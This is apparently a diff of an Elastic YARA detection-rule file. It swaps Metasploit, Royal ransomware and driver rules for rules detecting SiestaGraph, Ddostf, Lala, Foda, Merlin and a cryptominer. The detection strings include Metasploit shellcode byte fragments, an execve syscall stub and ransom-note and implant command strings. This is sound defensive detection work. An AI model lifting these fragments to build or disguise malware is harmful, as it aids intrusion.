+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L208-L226"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0dd993ff3917dc56ef02324375165f0d66506c5a9b9548eda57c58e041030987"
-		logic_hash = "74154902b03c36a4ee9bc54ae9399bae9e6afb7fe8d0fe232b88250afc368d6f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Ursu.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d72361010184f5a48386860918052dbb8726d40e860ea0287994936702577956"
+		logic_hash = "8261e4ee40131cd7df61914cd7bdf154e8a2b5fa3abd9d301436f9371253f510"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8848a3de66a25dd98278761a7953f31b7995e48621dec258f3d92bd91a4a3aa3"
+		fingerprint = "463d4f675589e00284103ef53d0749539152bbc3772423f89a788042805b3a21"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 49 BE 77 73 32 5F 33 32 00 00 41 56 49 89 E6 48 81 EC A0 01 00 00 49 89 E5 }
+		$a = { 64 55 4C 2C 20 0A 09 30 78 33 30 32 38 36 30 37 38 32 38 37 38 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_A91A6571 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Siestagraph_8C36Ddc1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
 		author = "Elastic Security"
-		id = "a91a6571-ae2d-4ab4-878b-38b455f42c01"
-		date = "2022-06-08"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L228-L246"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ff7795edff95a45b15b03d698cbdf70c19bc452daf4e2d5e86b2bbac55494472"
-		logic_hash = "cc59320ba9f8907d1d9b9dc120d8b4807b419e49c55be1fd5d2cdbb0c5d4e5cc"
+		id = "8c36ddc1-c7fa-4c25-a05c-59c29e4e7c31"
+		date = "2022-12-14"
+		modified = "2022-12-15"
+		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SiestaGraph.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
+		logic_hash = "17ce8090b88100f00c07df0599cd51dc7682f4c43de989ce58621df97eca42fb"
+		score = 75
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "a76d2b45261da65215797a4792a3aae5051d88ba15d01b24487c83d6a38b9ff7"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$a1 = "downloadAsync" ascii nocase fullword
+		$a2 = "UploadxAsync" ascii nocase fullword
+		$a3 = "GetAllDriveRootChildren" ascii fullword
+		$a4 = "GetDriveRoot" ascii fullword
+		$a5 = "sendsession" wide fullword
+		$b1 = "ListDrives" wide fullword
+		$b2 = "Del OK" wide fullword
+		$b3 = "createEmailDraft" ascii fullword
+		$b4 = "delMail" ascii fullword
+
+	condition:
+		all of ($a*) and 2 of ($b*)
+}
+rule ELASTIC_Windows_Trojan_Siestagraph_Ad3Fe5C6 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
+		author = "Elastic Security"
+		id = "ad3fe5c6-88ba-46cf-aefd-bd8ab0eff917"
+		date = "2023-09-12"
+		modified = "2023-09-20"
+		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SiestaGraph.yar#L30-L56"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe8f99445ad139160a47b109a8f3291eef9c6a23b4869c48d341380d608ed4cb"
+		logic_hash = "b625221b77803c2c052db09c90a76666cf9e0ae34cb0d59ae303e890e646e94b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e372484956eab80e4bf58f4ae1031de705cb52eaefa463aa77af7085c463638d"
+		fingerprint = "653ca92d31c7212c1f154c2e18b3be095e9a39fe482ce99fbd84e19f4bf6ca64"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56210,28 +60469,35 @@ rule ELASTIC_Windows_Trojan_Metasploit_A91A6571 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { FC 48 83 E4 F0 E8 CC 00 00 00 41 51 41 50 52 48 31 D2 51 56 65 48 8B 52 60 48 8B 52 18 48 8B 52 }
+		$a1 = "GetAllDriveRootChildren" ascii fullword
+		$a2 = "GetDriveRoot" ascii fullword
+		$a3 = "sendsession" wide fullword
+		$b1 = "status OK" wide fullword
+		$b2 = "upload failed" wide fullword
+		$b3 = "Failed to fetch file" wide fullword
+		$c1 = "Specified file doesn't exist" wide fullword
+		$c2 = "file does not exist" wide fullword
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_B29Fe355 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Siestagraph_D801Ce71 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
 		author = "Elastic Security"
-		id = "b29fe355-b7f8-4325-bf06-7975585f3888"
-		date = "2022-06-08"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L248-L268"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4f0ab4e42e6c10bc9e4a699d8d8819b04c17ed1917047f770dc6980a0a378a68"
-		logic_hash = "7a2189b59175acb66a7497c692a43c413a476f5c4371f797bf03a8ddb550992c"
+		id = "d801ce71-2e3d-47bb-a194-c68b437d8ecc"
+		date = "2023-09-12"
+		modified = "2023-09-20"
+		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SiestaGraph.yar#L58-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe8f99445ad139160a47b109a8f3291eef9c6a23b4869c48d341380d608ed4cb"
+		logic_hash = "c2d00d64d69cb5d24d76f6c551b49aa1acef1e1bab96f7ed7facc148244a8370"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a943325b7a227577ccd45748b4e705288c5b7d91d0e0b2a115daeea40e1a2148"
+		fingerprint = "8e1d95313526650c2fa3dd00e779aec0e62d1a2273722ad913100eab003fc8b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56239,179 +60505,174 @@ rule ELASTIC_Windows_Trojan_Metasploit_B29Fe355 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "%04x-%04x:%s" fullword
-		$a2 = "\\\\%s\\pipe\\%s" fullword
-		$a3 = "PACKET TRANSMIT" fullword
+		$hashgenfunc = { 02 2C ?? 20 [4] 0A 16 0B 2B ?? 02 07 6F [4] 06 61 20 [4] 5A 0A 07 17 58 0B 07 02 6F [4] 32 ?? }
+		$sendpostfunc = { 72 [4] 72 [4] 72 [4] 02 73 [4] 73 [4] 28 [4] 0A 72 [4] 72 [4] 06 28 [4] 2A }
+		$command15 = { 25 16 1F 3A 9D 6F [4] 17 9A 13 ?? 11 ?? 28 [4] 13 ?? 11 ?? 28 [4] 11 ?? 28 [4] 2C 33 28 [4] 28 [4] 6F [4] 6F [4] 11 ?? 28 [4] 09 7B [4] 18 9A 72 [4] 72 [4] 28 [4] 26 DE }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_66140F58 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Lala_51Deb1F9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Lala (Linux.Trojan.Lala)"
 		author = "Elastic Security"
-		id = "66140f58-1815-4e21-8544-24fed74194f1"
-		date = "2022-08-15"
-		modified = "2022-09-29"
+		id = "51deb1f9-2d5f-4c41-99f3-138c15c35804"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L270-L288"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01a0c5630fbbfc7043d21a789440fa9dadc6e4f79640b370f1a21c6ebf6a710a"
-		logic_hash = "0a855b7296f7cea39cc5d57b239d3906133ea43a0811ec60e4d91765cf89aced"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Lala.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3af65d3307fbdc2e8ce6e1358d1413ebff5eeb5dbedc051394377a4dabffa82"
+		logic_hash = "73a7ec230be9aabcc301095c9c075f839852155419bdd8d5542287f34699ab33"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "79879b2730e98f3eddeca838dff438d75a43ac20c0da6a4802474ff05f9cc7a3"
+		fingerprint = "220bcaa4f18b9474ddd3da921e1189d17330f0eb98fa55a193127413492fb604"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { FC 48 83 E4 F0 E8 CC 00 00 00 41 51 41 50 52 48 31 D2 51 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 }
+		$a = { D9 7C F3 89 D8 83 7D FC 00 7D 02 F7 D8 8B 55 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_2092C42A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ddostf_E4874Cd4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
 		author = "Elastic Security"
-		id = "2092c42a-793b-4b0e-868b-9a39c926f44c"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "e4874cd4-50e3-4a4c-b14c-976e29aaaaae"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L290-L309"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e47d88c11a89dcc84257841de0c9f1ec388698006f55a0e15567354b33f07d3c"
-		logic_hash = "83c46c6b957f10d406ea9985c518eb2fba3e82b9023bfdefa8bdd4be7fb67826"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ddostf.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
+		logic_hash = "1523fe8f7bbbc7e42f8c2efe5b28dd381007846a1ba7078a6f1a30aedace884b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4f17bfb02d3ac97e48449b6e30c9b07f604c13d5e12a99af322853c5d656ee88"
+		fingerprint = "dfbf7476794611718a1cd2c837560423e3a6c8b454a5d9eecb9c6f9d31d01889"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 65 6E 61 62 6C 65 5F 6B 65 79 62 6F 61 72 64 5F 69 6E 70 75 74 }
-		$a2 = { 01 04 10 49 83 C2 02 4D 85 C9 75 9C 41 8B 43 04 4C 03 D8 48 }
+		$a = { E4 01 8B 45 F0 2B 45 F4 89 C2 8B 45 E4 39 C2 73 82 8B 45 EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_46E1C247 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ddostf_32C35334 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
 		author = "Elastic Security"
-		id = "46e1c247-1ebb-434f-835f-faf421b35169"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "32c35334-f264-4509-b5c4-b07e477bd07d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L311-L330"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ef70e1faa3b1f40d92b0a161c96e13c96c43ec6651e7c87ee3977ed07b950bab"
-		logic_hash = "760a4e28e312a7d744208dc833ffad8d139ce7c536b407625a7fb0dff5ddb1d1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ddostf.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d62d450d48756c09f8788b27301de889c864e597924a0526a325fa602f91f376"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6cd37d32976add38d7165f8088f38f4854b59302d6adf20db5c46cd3e8c7d9e7"
+		fingerprint = "f71d1e9188f67147de8808d65374b4e34915e9d60ff475f7fc519c8918c75724"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 73 74 64 61 70 69 5F 66 73 5F 66 69 6C 65 }
-		$a2 = { 85 D2 74 0E 8B F3 2B 75 F8 8A 01 88 04 0E 41 4A 75 F7 0F B7 }
+		$a = { 0E 18 41 0E 1C 41 0E 20 48 0E 10 00 4C 00 00 00 64 4B 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_B62Aac1E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ddostf_6Dc1Caab : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
 		author = "Elastic Security"
-		id = "b62aac1e-2ce8-4803-90ee-138b509e814d"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "6dc1caab-be84-4f27-a059-2acffc20ca2c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L332-L351"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "af9af81f7e46217330b447900f80c9ce38171655becb3b63e51f913b95c71e70"
-		logic_hash = "3ef6b7fb258b060ae00b060dbf9b07620f8cda0d9a827985bbb3ed9617969ef6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ddostf.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f4587bd45e57d4106ebe502d2eaa1d97fd68613095234038d67490e74c62ba70"
+		logic_hash = "fd70960ed6e06f4d152bbd211fbe491dad596010da12cd53c93b577b551b8053"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "58340ea67e2544d22adba3317350150c61c84fba1d16c7c9f8d0c626c3421296"
+		fingerprint = "43bcb29d92e0ed2dfd0ff182991864f8efabd16a0f87e8c3bb453b47bd8e272b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 42 3C 8B AC 10 88 00 00 00 44 8B 54 15 20 44 8B 5C 15 24 4C }
-		$a2 = { CB 4D 85 D2 74 10 41 8A 00 4D 03 C3 88 02 49 03 D3 4D 2B D3 }
+		$a = { FC 01 83 45 F8 01 83 7D F8 5A 7E E6 C7 45 F8 61 00 00 00 EB 14 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_47F5D54A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ddostf_Dc47A873 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
 		author = "Elastic Security"
-		id = "47f5d54a-2578-4bbd-b157-8b225f6d34b3"
-		date = "2023-11-13"
-		modified = "2024-01-12"
+		id = "dc47a873-65a0-430d-a598-95be7134f207"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L353-L372"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bc3754cf4a04491a7ad7a75f69dd3bb2ddf0d8592ce078b740d7c9c7bc85a7e1"
-		logic_hash = "be080d0aae457348c4a02c204507a8cb14d1728d1bc50d7cf12b577aa06daf9f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ddostf.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
+		logic_hash = "2f5bd9e012fd778388074cf29b56c7cd59391840f994835d087b7b661445d316"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b6dbc1b273bc9a328d5c437d11db23e8f1d3bf764bb624aa4f552c14b3dc5260"
+		fingerprint = "f103490a9dedc0197f50ca2b412cf18d2749c8d6025fd557f1686bc38f32db52"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a32 = { 89 45 F8 FF 15 [11] 8B D8 85 DB 74 76 6A 00 6A 04 6A 00 FF 35 [4] 6A 00 6A 00 FF 15 }
-		$a64 = { 48 89 7C 24 48 FF 15 [4] 33 D2 44 8B C0 B9 40 00 10 00 FF 15 [4] 48 8B F8 48 85 C0 74 55 48 8B 15 [10] 4C 8B C0 48 8B CB 48 C7 44 24 20 }
+		$a = { 05 88 10 8B 45 08 0F B6 10 83 E2 0F 83 CA 40 88 10 8B 45 08 C6 40 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Royalpest_502A3Db6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ddostf_Cb0358A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Royalpest (Linux.Ransomware.RoyalPest)"
+		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
 		author = "Elastic Security"
-		id = "502a3db6-4711-42c7-8178-c3150f184fc6"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "cb0358a0-5303-4860-89ac-7dae037f5f0b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_RoyalPest.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "09a79e5e20fa4f5aae610c8ce3fe954029a91972b56c6576035ff7e0ec4c1d14"
-		logic_hash = "aefb5a286636b827b50e4bc0ea978a75ba6a9e572504bfbc0a7700372c54a077"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ddostf.yar#L80-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
+		logic_hash = "1f152b69bf0b2bfa539fdd42c432e456b9efb3766a450333a987313bb12c1826"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4bde7998f41ef3d0f2769078cf56e03d36eacf503f859a23fc442ced95d839cb"
+		fingerprint = "f97c96d457532f2af5fb0e1b40ad13dcfba2479c651266b4bdd1ab2a01c0360f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56419,96 +60680,86 @@ rule ELASTIC_Linux_Ransomware_Royalpest_502A3Db6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "hit by Royal ransomware."
-		$a2 = "Please contact us via :"
-		$a3 = ".onion/%s"
-		$a4 = "esxcli vm process list > list"
+		$a = { 66 C7 45 F2 00 00 8D 45 F2 8B 55 E4 0F B6 12 88 10 0F B7 45 F2 0F }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Procexp_Aeb4E5C0 : FILE
+rule ELASTIC_Linux_Exploit_Foda_F41E9Ef9 : FILE MEMORY
 {
 	meta:
-		description = "Name: procexp.Sys, Version: 16.65535.65535.65535"
+		description = "Detects Linux Exploit Foda (Linux.Exploit.Foda)"
 		author = "Elastic Security"
-		id = "aeb4e5c0-5ed5-4ecf-95a5-a741c105f02f"
-		date = "2022-04-04"
-		modified = "2022-10-26"
+		id = "f41e9ef9-b280-44cb-b877-ac998eea84d3"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ProcExp.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
-		logic_hash = "827bb2efb6d3442233f81e87a42a3f5ee5caaeadc459070c6d347c6515866c93"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Foda.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6059a6dd039b5efa36ce97acbb01406128aaf6062429474e422624ee69783ca8"
+		logic_hash = "7b15fef304b91601a76c6fcf48a892105d6eedf5a3e2395ab7c2937a84709d9f"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "b06d9e07aebfe4acadb717f7a8534feb6863b0649cd10fbbf9b53587a855ea01"
-		threat_name = "Windows.VulnDriver.ProcExp"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "d24064932ef3a972970ce446d465c28379bf83b1b72f5bf77d1def3074747a8e"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 70 00 72 00 6F 00 63 00 65 00 78 00 70 00 2E 00 53 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\xff][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xff][\x00-\xff])([\x00-\x0f][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xfe][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xff][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xfe][\x00-\xff]))/
+		$a = { C0 50 89 E2 53 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Dinodasrat_1D371D10 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Merlin_E8Ecb3Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dinodasrat (Linux.Trojan.DinodasRAT)"
+		description = "Detects Windows Trojan Merlin (Windows.Trojan.Merlin)"
 		author = "Elastic Security"
-		id = "1d371d10-b2ae-4ea0-ad37-f5a5a571a6fc"
-		date = "2024-04-02"
-		modified = "2024-06-12"
+		id = "e8ecb3be-edba-4617-b4df-9d5b6275d310"
+		date = "2022-01-05"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_DinodasRAT.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bf830191215e0c8db207ea320d8e795990cf6b3e6698932e6e0c9c0588fc9eff"
-		logic_hash = "933e78882be1d8dd9553ba90f038963d1b6f8f643888258541b7668aa3434808"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Merlin.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "768c120e63d3960a0842dcc538749955ab7caabaeaf3682f6d1e30666aac65a8"
+		logic_hash = "293158c981463544abd0c38694bfc8635ad1a679bbae115521b65879f145cea6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a53bf582ad95320dd6f432cb7290ce604aa558e4ecf6ae4e11d7985183969db1"
+		fingerprint = "54e03337930d74568a91e797cfda3b7bfbce3aad29be2543ed58c51728d8e185"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
